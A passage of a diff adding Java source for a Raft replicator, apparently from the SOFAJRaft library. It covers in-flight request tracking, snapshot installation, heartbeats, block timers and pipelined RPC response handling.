+        INSTALLING_SNAPSHOT // installing snapshot
+    }
+
+    /**
+     * Statistics structure
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:53 AM
+     */
+    static class Stat {
+        RunningState runningState;
+        long         firstLogIndex;
+        long         lastLogIncluded;
+        long         lastLogIndex;
+        long         lastTermIncluded;
+
+        @Override
+        public String toString() {
+            return "<running=" + this.runningState + ", firstLogIndex=" + this.firstLogIndex + ", lastLogIncluded="
+                   + this.lastLogIncluded + ", lastLogIndex=" + this.lastLogIndex + ", lastTermIncluded="
+                   + this.lastTermIncluded + ">";
+        }
+
+    }
+
+    // In-flight request type
+    enum RequestType {
+        Snapshot, // install snapshot
+        AppendEntries // replicate logs
+    }
+
+    /**
+     * In-flight request.
+     * @author dennis
+     *
+     */
+    static class Inflight {
+        // In-flight request count
+        final int             count;
+        // Start log index
+        final long            startIndex;
+        // Entries size in bytes
+        final int             size;
+        // RPC future
+        final Future<Message> rpcFuture;
+        final RequestType     requestType;
+        // Request sequence.
+        final int             seq;
+
+        public Inflight(final RequestType requestType, final long startIndex, final int count, final int size,
+                        final int seq, final Future<Message> rpcFuture) {
+            super();
+            this.seq = seq;
+            this.requestType = requestType;
+            this.count = count;
+            this.startIndex = startIndex;
+            this.size = size;
+            this.rpcFuture = rpcFuture;
+        }
+
+        @Override
+        public String toString() {
+            return "Inflight [count=" + this.count + ", startIndex=" + this.startIndex + ", size=" + this.size
+                   + ", rpcFuture=" + this.rpcFuture + ", requestType=" + this.requestType + ", seq=" + this.seq + "]";
+        }
+
+        boolean isSendingLogEntries() {
+            return this.requestType == RequestType.AppendEntries && this.count > 0;
+        }
+    }
+
+    /**
+     * RPC response for AppendEntries/InstallSnapshot.
+     * @author dennis
+     *
+     */
+    static class RpcResponse implements Comparable<RpcResponse> {
+        final Status      status;
+        final Message     request;
+        final Message     response;
+        final long        rpcSendTime;
+        final int         seq;
+        final RequestType requestType;
+
+        public RpcResponse(final RequestType reqType, final int seq, final Status status, final Message request,
+                           final Message response, final long rpcSendTime) {
+            super();
+            this.requestType = reqType;
+            this.seq = seq;
+            this.status = status;
+            this.request = request;
+            this.response = response;
+            this.rpcSendTime = rpcSendTime;
+        }
+
+        @Override
+        public String toString() {
+            return "RpcResponse [status=" + this.status + ", request=" + this.request + ", response=" + this.response
+                   + ", rpcSendTime=" + this.rpcSendTime + ", seq=" + this.seq + ", requestType=" + this.requestType
+                   + "]";
+        }
+
+        /**
+         * Sort by sequence.
+         */
+        @Override
+        public int compareTo(final RpcResponse o) {
+            return Integer.compare(this.seq, o.seq);
+        }
+    }
+
+    @OnlyForTest
+    ArrayDeque<Inflight> getInflights() {
+        return this.inflights;
+    }
+
+    @OnlyForTest
+    State getState() {
+        return this.state;
+    }
+
+    @OnlyForTest
+    void setState(final State state) {
+        this.state = state;
+    }
+
+    @OnlyForTest
+    int getReqSeq() {
+        return this.reqSeq;
+    }
+
+    @OnlyForTest
+    int getRequiredNextSeq() {
+        return this.requiredNextSeq;
+    }
+
+    @OnlyForTest
+    int getVersion() {
+        return this.version;
+    }
+
+    @OnlyForTest
+    public PriorityQueue<RpcResponse> getPendingResponses() {
+        return this.pendingResponses;
+    }
+
+    @OnlyForTest
+    long getWaitId() {
+        return this.waitId;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getBlockTimer() {
+        return this.blockTimer;
+    }
+
+    @OnlyForTest
+    long getTimeoutNowIndex() {
+        return this.timeoutNowIndex;
+    }
+
+    @OnlyForTest
+    ReplicatorOptions getOpts() {
+        return this.options;
+    }
+
+    @OnlyForTest
+    long getRealNextIndex() {
+        return this.nextIndex;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcInFly() {
+        if (this.rpcInFly == null) {
+            return null;
+        }
+        return this.rpcInFly.rpcFuture;
+    }
+
+    @OnlyForTest
+    Future<Message> getHeartbeatInFly() {
+        return this.heartbeatInFly;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getHeartbeatTimer() {
+        return this.heartbeatTimer;
+    }
+
+    @OnlyForTest
+    void setHasSucceeded() {
+        this.hasSucceeded = true;
+    }
+
+    @OnlyForTest
+    Future<Message> getTimeoutNowInFly() {
+        return this.timeoutNowInFly;
+    }
+
+    /**
+     * Adds a in-flight request
+     * @param reqType   type of request
+     * @param count     count if request
+     * @param size      size in bytes
+     */
+    private void addInflight(final RequestType reqType, final long startIndex, final int count, final int size,
+                             final int seq, final Future<Message> rpcInfly) {
+        this.rpcInFly = new Inflight(reqType, startIndex, count, size, seq, rpcInfly);
+        this.inflights.add(this.rpcInFly);
+        this.nodeMetrics.recordSize("replicate-inflights-count", this.inflights.size());
+    }
+
+    /**
+     * Returns the next in-flight sending index, return -1 when can't send more in-flight requests.
+     *
+     * @return next in-flight sending index
+     */
+    long getNextSendIndex() {
+        // Fast path
+        if (this.inflights.isEmpty()) {
+            return this.nextIndex;
+        }
+        // Too many in-flight requests.
+        if (this.inflights.size() > this.raftOptions.getMaxReplicatorInflightMsgs()) {
+            return -1L;
+        }
+        // Last request should be a AppendEntries request and has some entries.
+        if (this.rpcInFly != null && this.rpcInFly.isSendingLogEntries()) {
+            return this.rpcInFly.startIndex + this.rpcInFly.count;
+        }
+        return -1L;
+    }
+
+    private Inflight pollInflight() {
+        return this.inflights.poll();
+    }
+
+    private void startHeartbeatTimer(final long startMs) {
+        final long dueTime = startMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            this.heartbeatTimer = this.timerManager.schedule(() -> onTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+        } catch (final Exception e) {
+            LOG.error("Fail to schedule heartbeat timer", e);
+            onTimeout(this.id);
+        }
+    }
+
+    void installSnapshot() {
+        if (this.state == State.Snapshot) {
+            LOG.warn("Replicator {} is installing snapshot, ignore the new request.", this.options.getPeerId());
+            this.id.unlock();
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            Requires.requireTrue(this.reader == null,
+                "Replicator %s already has a snapshot reader, current state is %s", this.options.getPeerId(),
+                this.state);
+            this.reader = this.options.getSnapshotStorage().open();
+            if (this.reader == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to open snapshot"));
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final String uri = this.reader.generateURIForCopy();
+            if (uri == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to generate uri for snapshot reader"));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final RaftOutter.SnapshotMeta meta = this.reader.load();
+            if (meta == null) {
+                final String snapshotPath = this.reader.getPath();
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to load meta from %s", snapshotPath));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final InstallSnapshotRequest.Builder rb = InstallSnapshotRequest.newBuilder();
+            rb.setTerm(this.options.getTerm());
+            rb.setGroupId(this.options.getGroupId());
+            rb.setServerId(this.options.getServerId().toString());
+            rb.setPeerId(this.options.getPeerId().toString());
+            rb.setMeta(meta);
+            rb.setUri(uri);
+
+            this.statInfo.runningState = RunningState.INSTALLING_SNAPSHOT;
+            this.statInfo.lastLogIncluded = meta.getLastIncludedIndex();
+            this.statInfo.lastTermIncluded = meta.getLastIncludedTerm();
+
+            final InstallSnapshotRequest request = rb.build();
+            this.state = State.Snapshot;
+            // noinspection NonAtomicOperationOnVolatileField
+            this.installSnapshotCounter++;
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final int stateVersion = this.version;
+            final int seq = getAndIncrementReqSeq();
+            final Future<Message> rpcFuture = this.rpcService.installSnapshot(this.options.getPeerId().getEndpoint(),
+                request, new RpcResponseClosureAdapter<InstallSnapshotResponse>() {
+
+                    @Override
+                    public void run(final Status status) {
+                        onRpcReturned(Replicator.this.id, RequestType.Snapshot, status, request, getResponse(), seq,
+                            stateVersion, monotonicSendTimeMs);
+                    }
+                });
+            addInflight(RequestType.Snapshot, this.nextIndex, 0, 0, seq, rpcFuture);
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("unused")
+    static boolean onInstallSnapshotReturned(final ThreadId id, final Replicator r, final Status status,
+                                             final InstallSnapshotRequest request,
+                                             final InstallSnapshotResponse response) {
+        boolean success = true;
+        r.releaseReader();
+        // noinspection ConstantConditions
+        do {
+            final StringBuilder sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received InstallSnapshotResponse from ").append(r.options.getPeerId()). //
+                append(" lastIncludedIndex=").append(request.getMeta().getLastIncludedIndex()). //
+                append(" lastIncludedTerm=").append(request.getMeta().getLastIncludedTerm());
+            if (!status.isOk()) {
+                sb.append(" error:").append(status);
+                LOG.info(sb.toString());
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to install snapshot at peer={}, error={}", r.options.getPeerId(), status);
+                }
+                success = false;
+                break;
+            }
+            if (!response.getSuccess()) {
+                sb.append(" success=false");
+                LOG.info(sb.toString());
+                success = false;
+                break;
+            }
+            // success
+            r.nextIndex = request.getMeta().getLastIncludedIndex() + 1;
+            sb.append(" success=true");
+            LOG.info(sb.toString());
+        } while (false);
+        // We don't retry installing the snapshot explicitly.
+        // id is unlock in sendEntries
+        if (!success) {
+            //should reset states
+            r.resetInflights();
+            r.state = State.Probe;
+            r.block(Utils.nowMs(), status.getCode());
+            return false;
+        }
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        // id is unlock in _send_entriesheartbeatCounter
+        r.state = State.Replicate;
+        return true;
+    }
+
+    private void sendEmptyEntries(final boolean isHeartbeat) {
+        sendEmptyEntries(isHeartbeat, null);
+    }
+
+    /**
+     * Send probe or heartbeat request
+     * @param isHeartbeat      if current entries is heartbeat
+     * @param heartBeatClosure heartbeat callback
+     */
+    @SuppressWarnings("NonAtomicOperationOnVolatileField")
+    private void sendEmptyEntries(final boolean isHeartbeat,
+                                  final RpcResponseClosure<AppendEntriesResponse> heartBeatClosure) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, this.nextIndex - 1, isHeartbeat)) {
+            // id is unlock in installSnapshot
+            installSnapshot();
+            if (isHeartbeat && heartBeatClosure != null) {
+                Utils.runClosureInThread(heartBeatClosure, new Status(RaftError.EAGAIN,
+                    "Fail to send heartbeat to peer %s", this.options.getPeerId()));
+            }
+            return;
+        }
+        try {
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final AppendEntriesRequest request = rb.build();
+
+            if (isHeartbeat) {
+                // Sending a heartbeat request
+                this.heartbeatCounter++;
+                RpcResponseClosure<AppendEntriesResponse> heartbeatDone;
+                // Prefer passed-in closure.
+                if (heartBeatClosure != null) {
+                    heartbeatDone = heartBeatClosure;
+                } else {
+                    heartbeatDone = new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onHeartbeatReturned(Replicator.this.id, status, request, getResponse(), monotonicSendTimeMs);
+                        }
+                    };
+                }
+                this.heartbeatInFly = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(), request,
+                    this.options.getElectionTimeoutMs() / 2, heartbeatDone);
+            } else {
+                // Sending a probe request.
+                this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+                this.statInfo.firstLogIndex = this.nextIndex;
+                this.statInfo.lastLogIndex = this.nextIndex - 1;
+                this.appendEntriesCounter++;
+                this.state = State.Probe;
+                final int stateVersion = this.version;
+                final int seq = getAndIncrementReqSeq();
+                final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+                    request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request,
+                                getResponse(), seq, stateVersion, monotonicSendTimeMs);
+                        }
+
+                    });
+
+                addInflight(RequestType.AppendEntries, this.nextIndex, 0, 0, seq, rpcFuture);
+            }
+            LOG.debug("Node {} send HeartbeatRequest to {} term {} lastCommittedIndex {}", this.options.getNode()
+                .getNodeId(), this.options.getPeerId(), this.options.getTerm(), request.getCommittedIndex());
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    boolean prepareEntry(final long nextSendingIndex, final int offset, final RaftOutter.EntryMeta.Builder emb,
+                         final RecyclableByteBufferList dateBuffer) {
+        if (dateBuffer.getCapacity() >= this.raftOptions.getMaxBodySize()) {
+            return false;
+        }
+        final long logIndex = nextSendingIndex + offset;
+        final LogEntry entry = this.options.getLogManager().getEntry(logIndex);
+        if (entry == null) {
+            return false;
+        }
+        emb.setTerm(entry.getId().getTerm());
+        if (entry.hasChecksum()) {
+            emb.setChecksum(entry.getChecksum()); //since 1.2.6
+        }
+        emb.setType(entry.getType());
+        if (entry.getPeers() != null) {
+            Requires.requireTrue(!entry.getPeers().isEmpty(), "Empty peers at logIndex=%d", logIndex);
+            for (final PeerId peer : entry.getPeers()) {
+                emb.addPeers(peer.toString());
+            }
+            if (entry.getOldPeers() != null) {
+                for (final PeerId peer : entry.getOldPeers()) {
+                    emb.addOldPeers(peer.toString());
+                }
+            }
+        } else {
+            Requires.requireTrue(entry.getType() != EnumOutter.EntryType.ENTRY_TYPE_CONFIGURATION,
+                "Empty peers but is ENTRY_TYPE_CONFIGURATION type at logIndex=%d", logIndex);
+        }
+        final int remaining = entry.getData() != null ? entry.getData().remaining() : 0;
+        emb.setDataLen(remaining);
+        if (entry.getData() != null) {
+            // should slice entry data
+            dateBuffer.add(entry.getData().slice());
+        }
+        return true;
+    }
+
+    public static ThreadId start(final ReplicatorOptions opts, final RaftOptions raftOptions) {
+        if (opts.getLogManager() == null || opts.getBallotBox() == null || opts.getNode() == null) {
+            throw new IllegalArgumentException("Invalid ReplicatorOptions.");
+        }
+        final Replicator r = new Replicator(opts, raftOptions);
+        if (!r.rpcService.connect(opts.getPeerId().getEndpoint())) {
+            LOG.error("Fail to init sending channel to {}", opts.getPeerId());
+            // Return and it will be retried later.
+            return null;
+        }
+
+        // Register replicator metric set.
+        final MetricRegistry metricRegistry = opts.getNode().getNodeMetrics().getMetricRegistry();
+        if (metricRegistry != null) {
+            try {
+                final String replicatorMetricName = getReplicatorMetricName(opts);
+                if (!metricRegistry.getNames().contains(replicatorMetricName)) {
+                    metricRegistry.register(replicatorMetricName, new ReplicatorMetricSet(opts, r));
+                }
+            } catch (final IllegalArgumentException e) {
+                // ignore
+            }
+        }
+
+        // Start replication
+        r.id = new ThreadId(r, r);
+        r.id.lock();
+        LOG.info("Replicator={}@{} is started", r.id, r.options.getPeerId());
+        r.catchUpClosure = null;
+        r.lastRpcSendTimestamp = Utils.monotonicMs();
+        r.startHeartbeatTimer(Utils.nowMs());
+        // id.unlock in sendEmptyEntries
+        r.sendEmptyEntries(false);
+        return r.id;
+    }
+
+    private static String getReplicatorMetricName(final ReplicatorOptions opts) {
+        return "replicator-" + opts.getNode().getGroupId() + "/" + opts.getPeerId();
+    }
+
+    public static void waitForCaughtUp(final ThreadId id, final long maxMargin, final long dueTime,
+                                       final CatchUpClosure done) {
+        final Replicator r = (Replicator) id.lock();
+
+        if (r == null) {
+            Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "No such replicator"));
+            return;
+        }
+        try {
+            if (r.catchUpClosure != null) {
+                LOG.error("Previous wait_for_caught_up is not over");
+                Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "Duplicated call"));
+                return;
+            }
+            done.setMaxMargin(maxMargin);
+            if (dueTime > 0) {
+                done.setTimer(r.timerManager.schedule(() -> onCatchUpTimedOut(id), dueTime - Utils.nowMs(),
+                    TimeUnit.MILLISECONDS));
+            }
+            r.catchUpClosure = done;
+        } finally {
+            id.unlock();
+        }
+    }
+
+    @Override
+    public String toString() {
+        return "Replicator [state=" + this.state + ", statInfo=" + this.statInfo + ",peerId="
+               + this.options.getPeerId() + "]";
+    }
+
+    static void onBlockTimeoutInNewThread(final ThreadId id) {
+        if (id != null) {
+            continueSending(id, RaftError.ETIMEDOUT.getNumber());
+        }
+    }
+
+    /**
+     * Unblock and continue sending right now.
+     */
+    static void unBlockAndSendNow(final ThreadId id) {
+        if (id == null) {
+            // It was destroyed already
+            return;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            if (r.blockTimer != null) {
+                if (r.blockTimer.cancel(true)) {
+                    onBlockTimeout(id);
+                }
+            }
+        } finally {
+            id.unlock();
+        }
+    }
+
+    static boolean continueSending(final ThreadId id, final int errCode) {
+        if (id == null) {
+            //It was destroyed already
+            return true;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.waitId = -1;
+        if (errCode == RaftError.ETIMEDOUT.getNumber()) {
+            // Send empty entries after block timeout to check the correct
+            // _next_index otherwise the replicator is likely waits in            executor.shutdown();
+            // _wait_more_entries and no further logs would be replicated even if the
+            // last_index of this followers is less than |next_index - 1|
+            r.sendEmptyEntries(false);
+        } else if (errCode != RaftError.ESTOP.getNumber()) {
+            // id is unlock in _send_entries
+            r.sendEntries();
+        } else {
+            LOG.warn("Replicator {} stops sending entries.", id);
+            id.unlock();
+        }
+        return true;
+    }
+
+    static void onBlockTimeout(final ThreadId arg) {
+        Utils.runInThread(() -> onBlockTimeoutInNewThread(arg));
+    }
+
+    void block(final long startTimeMs, @SuppressWarnings("unused") final int errorCode) {
+        // TODO: Currently we don't care about error_code which indicates why the
+        // very RPC fails. To make it better there should be different timeout for
+        // each individual error (e.g. we don't need check every
+        // heartbeat_timeout_ms whether a dead follower has come back), but it's just
+        // fine now.
+        final long dueTime = startTimeMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            LOG.debug("Blocking {} for {} ms", this.options.getPeerId(), this.options.getDynamicHeartBeatTimeoutMs());
+            this.blockTimer = this.timerManager.schedule(() -> onBlockTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+            this.statInfo.runningState = RunningState.BLOCKING;
+            this.id.unlock();
+        } catch (final Exception e) {
+            LOG.error("Fail to add timer", e);
+            // id unlock in sendEmptyEntries.
+            sendEmptyEntries(false);
+        }
+    }
+
+    @Override
+    public void onError(final ThreadId id, final Object data, final int errorCode) {
+        final Replicator r = (Replicator) data;
+        if (errorCode == RaftError.ESTOP.getNumber()) {
+            try {
+                for (final Inflight inflight : r.inflights) {
+                    if (inflight != r.rpcInFly) {
+                        inflight.rpcFuture.cancel(true);
+                    }
+                }
+                if (r.rpcInFly != null) {
+                    r.rpcInFly.rpcFuture.cancel(true);
+                    r.rpcInFly = null;
+                }
+                if (r.heartbeatInFly != null) {
+                    r.heartbeatInFly.cancel(true);
+                    r.heartbeatInFly = null;
+                }
+                if (r.timeoutNowInFly != null) {
+                    r.timeoutNowInFly.cancel(true);
+                    r.timeoutNowInFly = null;
+                }
+                if (r.heartbeatTimer != null) {
+                    r.heartbeatTimer.cancel(true);
+                    r.heartbeatTimer = null;
+                }
+                if (r.blockTimer != null) {
+                    r.blockTimer.cancel(true);
+                    r.blockTimer = null;
+                }
+                if (r.waitId >= 0) {
+                    r.options.getLogManager().removeWaiter(r.waitId);
+                }
+                r.notifyOnCaughtUp(errorCode, true);
+            } finally {
+                r.destroy();
+            }
+        } else if (errorCode == RaftError.ETIMEDOUT.getNumber()) {
+            id.unlock();
+            Utils.runInThread(() -> sendHeartbeat(id));
+        } else {
+            id.unlock();
+            // noinspection ConstantConditions
+            Requires.requireTrue(false, "Unknown error code for replicator: " + errorCode);
+        }
+    }
+
+    private static void onCatchUpTimedOut(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            r.notifyOnCaughtUp(RaftError.ETIMEDOUT.getNumber(), false);
+        } finally {
+            id.unlock();
+        }
+    }
+
+    private void notifyOnCaughtUp(final int code, final boolean beforeDestroy) {
+        if (this.catchUpClosure == null) {
+            return;
+        }
+        if (code != RaftError.ETIMEDOUT.getNumber()) {
+            if (this.nextIndex - 1 + this.catchUpClosure.getMaxMargin() < this.options.getLogManager()
+                .getLastLogIndex()) {
+                return;
+            }
+            if (this.catchUpClosure.isErrorWasSet()) {
+                return;
+            }
+            this.catchUpClosure.setErrorWasSet(true);
+            if (code != RaftError.SUCCESS.getNumber()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+            if (this.catchUpClosure.hasTimer()) {
+                if (!beforeDestroy && !this.catchUpClosure.getTimer().cancel(true)) {
+                    // There's running timer task, let timer task trigger
+                    // on_caught_up to void ABA problem
+                    return;
+                }
+            }
+        } else {
+            // timed out
+            if (!this.catchUpClosure.isErrorWasSet()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+        }
+        final CatchUpClosure savedClosure = this.catchUpClosure;
+        this.catchUpClosure = null;
+        Utils.runClosureInThread(savedClosure, savedClosure.getStatus());
+    }
+
+    private static void onTimeout(final ThreadId id) {
+        if (id != null) {
+            id.setError(RaftError.ETIMEDOUT.getNumber());
+        } else {
+            LOG.warn("Replicator id is null when timeout, maybe it's destroyed.");
+        }
+    }
+
+    void destroy() {
+        final ThreadId savedId = this.id;
+        LOG.info("Replicator {} is going to quit", savedId);
+        this.id = null;
+        releaseReader();
+        // Unregister replicator metric set
+        if (this.options.getNode().getNodeMetrics().isEnabled()) {
+            this.options.getNode().getNodeMetrics().getMetricRegistry().remove(getReplicatorMetricName(this.options));
+        }
+        this.state = State.Destroyed;
+        savedId.unlockAndDestroy();
+    }
+
+    private void releaseReader() {
+        if (this.reader != null) {
+            Utils.closeQuietly(this.reader);
+            this.reader = null;
+        }
+    }
+
+    static void onHeartbeatReturned(final ThreadId id, final Status status, final AppendEntriesRequest request,
+                                    final AppendEntriesResponse response, final long rpcSendTime) {
+        if (id == null) {
+            // replicator already was destroyed.
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+            StringBuilder sb = null;
+            if (isLogDebugEnabled) {
+                sb = new StringBuilder("Node "). //
+                    append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                    append(" received HeartbeatResponse from "). //
+                    append(r.options.getPeerId()). //
+                    append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                    append(" prevLogTerm=").append(request.getPrevLogTerm());
+            }
+            if (!status.isOk()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, sleep.");
+                    LOG.debug(sb.toString());
+                }
+                r.state = State.Probe;
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                        r.consecutiveErrorTimes, status);
+                }
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            r.consecutiveErrorTimes = 0;
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return;
+            }
+            if (!response.getSuccess() && response.hasLastLogIndex()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, response term ").append(response.getTerm()).append(" lastLogIndex ")
+                        .append(response.getLastLogIndex());
+                    LOG.debug(sb.toString());
+                }
+                LOG.warn("Heartbeat to peer {} failure, try to send a probe request.", r.options.getPeerId());
+                doUnlock = false;
+                r.sendEmptyEntries(false);
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            if (isLogDebugEnabled) {
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            r.startHeartbeatTimer(startTimeMs);
+        } finally {
+            if (doUnlock) {
+                id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("ContinueOrBreakFromFinallyBlock")
+    static void onRpcReturned(final ThreadId id, final RequestType reqType, final Status status, final Message request,
+                              final Message response, final int seq, final int stateVersion, final long rpcSendTime) {
+        if (id == null) {
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+
+        if (stateVersion != r.version) {
+            LOG.debug(
+                "Replicator {} ignored old version response {}, current version is {}, request is {}\n, and response is {}\n, status is {}.",
+                r, stateVersion, r.version, request, response, status);
+            id.unlock();
+            return;
+        }
+
+        final PriorityQueue<RpcResponse> holdingQueue = r.pendingResponses;
+        holdingQueue.add(new RpcResponse(reqType, seq, status, request, response, rpcSendTime));
+
+        if (holdingQueue.size() > r.raftOptions.getMaxReplicatorInflightMsgs()) {
+            LOG.warn("Too many pending responses {} for replicator {}, maxReplicatorInflightMsgs={}",
+                holdingQueue.size(), r.options.getPeerId(), r.raftOptions.getMaxReplicatorInflightMsgs());
+            r.resetInflights();
+            r.state = State.Probe;
+            r.sendEmptyEntries(false);
+            return;
+        }
+
+        boolean continueSendEntries = false;
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Replicator ").append(r).append(" is processing RPC responses,");
+        }
+        try {
+            int processed = 0;
+            while (!holdingQueue.isEmpty()) {
+                final RpcResponse queuedPipelinedResponse = holdingQueue.peek();
+
+                //sequence mismatch, waiting for next response.
+                if (queuedPipelinedResponse.seq != r.requiredNextSeq) {
+                    if (processed > 0) {
+                        if (isLogDebugEnabled) {
+                            sb.append("has processed ").append(processed).append(" responses,");
+                        }
+                        break;
+                    } else {
+                        //Do not processed any responses, UNLOCK id and return.
+                        continueSendEntries = false;
+                        id.unlock();
+                        return;
+                    }
+                }
+                holdingQueue.remove();
+                processed++;
+                final Inflight inflight = r.pollInflight();
+                if (inflight == null) {
+                    // The previous in-flight requests were cleared.
+                    if (isLogDebugEnabled) {
+                        sb.append("ignore response because request not found:").append(queuedPipelinedResponse)
+                            .append(",\n");
+                    }
+                    continue;
+                }
+                if (inflight.seq != queuedPipelinedResponse.seq) {
+                    // reset state
+                    LOG.warn(
+                        "Replicator {} response sequence out of order, expect {}, but it is {}, reset state to try again.",
+                        r, inflight.seq, queuedPipelinedResponse.seq);
+                    r.resetInflights();
+                    r.state = State.Probe;
+                    continueSendEntries = false;
+                    r.block(Utils.nowMs(), RaftError.EREQUEST.getNumber());
+                    return;
+                }
+                try {
+                    switch (queuedPipelinedResponse.requestType) {
+                        case AppendEntries:
+                            continueSendEntries = onAppendEntriesReturned(id, inflight, queuedPipelinedResponse.status,
+                                (AppendEntriesRequest) queuedPipelinedResponse.request,
+                                (AppendEntriesResponse) queuedPipelinedResponse.response, rpcSendTime, startTimeMs, r);
+                            break;
+                        case Snapshot:
+                            continueSendEntries = onInstallSnapshotReturned(id, r, queuedPipelinedResponse.status,
+                                (InstallSnapshotRequest) queuedPipelinedResponse.request,
+                                (InstallSnapshotResponse) queuedPipelinedResponse.response);
+                            break;
+                    }
+                } finally {
+                    if (continueSendEntries) {
+                        // Success, increase the response sequence.
+                        r.getAndIncrementRequiredNextSeq();
+                    } else {
+                        // The id is already unlocked in onAppendEntriesReturned/onInstallSnapshotReturned, we SHOULD break out.
+                        break;
+                    }
+                }
+            }
+        } finally {
+            if (isLogDebugEnabled) {
+                sb.append(", after processed, continue to send entries: ").append(continueSendEntries);
+                LOG.debug(sb.toString());
+            }
+            if (continueSendEntries) {
+                // unlock in sendEntries.
+                r.sendEntries();
+            }
+        }
+    }
+
+    /**
+     * Reset in-flight state.
+     */
+    void resetInflights() {
+        this.version++;
+        this.inflights.clear();
+        this.pendingResponses.clear();
+        final int rs = Math.max(this.reqSeq, this.requiredNextSeq);
+        this.reqSeq = this.requiredNextSeq = rs;
+        releaseReader();
+    }
+
+    private static boolean onAppendEntriesReturned(final ThreadId id, final Inflight inflight, final Status status,
+                                                   final AppendEntriesRequest request,
+                                                   final AppendEntriesResponse response, final long rpcSendTime,
+                                                   final long startTimeMs, final Replicator r) {
+        if (inflight.startIndex != request.getPrevLogIndex() + 1) {
+            LOG.warn(
+                "Replicator {} received invalid AppendEntriesResponse, in-flight startIndex={}, request prevLogIndex={}, reset the replicator state and probe again.",
+                r, inflight.startIndex, request.getPrevLogIndex());
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock id in sendEmptyEntries
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        // record metrics
+        if (request.getEntriesCount() > 0) {
+            r.nodeMetrics.recordLatency("replicate-entries", Utils.monotonicMs() - rpcSendTime);
